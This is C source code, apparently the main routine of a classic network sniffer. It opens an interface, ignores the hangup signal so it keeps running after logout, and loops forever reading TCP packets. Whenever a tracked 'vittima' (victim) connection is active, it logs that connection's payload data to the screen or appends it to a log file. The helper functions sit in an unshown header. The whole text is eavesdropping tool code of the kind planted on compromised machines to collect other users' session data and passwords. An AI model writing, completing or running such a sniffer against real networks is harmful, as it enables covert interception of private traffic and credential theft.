#include "sniff.h" struct iphdr *ip; struct tcphdr *tcp; struct etherpacket ep; struct victim vittima; FILE *fp; FILE *rawtcp; int main(int argc, char **argv) { ifOpen(); ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); signal(SIGHUP, SIG_IGN); signal(SIGINT, sgura); signal(SIGTERM, sgura); signal(SIGKILL, sgura); signal(SIGQUIT, sgura); if(argc == 2) fp=stdout; else fp=fopen(TCPLOG, "a"); if(fp == NULL) { fprintf(stderr, "can't open sniffer log file...\n"); exit(0); } azzeraVittima(); while(1) { readTCP(); if(vittima.active != 0) printData(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); fflush(fp); } return 0; }